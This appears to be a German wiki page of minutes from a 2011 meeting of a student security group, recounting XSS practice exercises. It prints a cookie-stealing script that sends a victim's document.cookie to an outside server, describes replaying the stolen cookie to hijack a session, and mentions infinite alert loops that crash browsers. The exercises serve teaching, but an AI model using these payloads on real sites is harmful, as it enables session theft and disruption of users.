CInsects/Protokolle/CInsects:Treffen-2011-01-11

Diese Seite ist eine Unterseite von CInsects.

Heute haben wir uns mit XSS (Cross-Site-Scripting:Wikipedia) befasst.

Hackits

Nils hat zwei Hackits auf die Beine gestellt, das eine, recht einfach, stellte uns ein Formularfeld zur Verfügung und gab den eingegebenen Text auf einer neuen Seite aus. Hier konnte jeder JavaScript Text eingefügt werden, z.B.

  <script> type="text/javascript">alert("Achtung hier wird eine XSS Angriff durchgeführt");</script> 

was dazu führt, das auf der ausgebenden Seite eine Meldung mit eingegebenen Text erschien. Kaputmachen konnte man hier also noch nichts, es sei denn den eigenen Rechner.

Das zweite Hackit war ein wenig interessanter. Hier bestand die Möglichkeit sich mit Name und Kennwort anzumelden und dann über ein Nachrichten System Meldungen an andere Mitglieder zu senden. Diese Meldungen konnten natürlich JavaScript beinhalten, sodass wir damit anfangen konnten die Cookies (KEEEKSE!!! omnomnom) anderer Nutzer zu klauen.

  <script>document.write('<img src="http://cinsects.de/cookie?' +document.cookie+'">');</script>

Mit diesem Script konnten wir den Cookie desjenigen auslesen, der die Nachricht bekommen hat und haben diesen in eine nicht existierende Datei auf einem Server für den wir Rechte haben geschickt. In der Fehlerkonsole dieses Servers wurde der Cookie nun angezeigt, und musste von uns nur noch als eigener Cookie in FF eingelesen werden.

Natürlich war auch viel nasty shit möglich, wie aufpoppende Meldungen in einer while Schleife mit 1=1 als Bedingung, sodass der Brwoser neu gestartet werden musste.

Statistik

Anzahl der anwesenden Personen: Start(8) Ende(9)

L33tness-Faktor der Kekse: 100%

Hackits

Hackit [1] Achtung! es ist dort möglich andere Browser unbenutzbar zu machen, wenn eine solcher hack drinn ist, könnt ihr mir (0rokita) bescheidsagen, ich lösche die dann, Oder noch besser: Bitte keine Endlosschleifen!

Themen für das nächste mal

FIXME und daran zu denken, jemanden zu bestimmen, der Kekse mitbringt.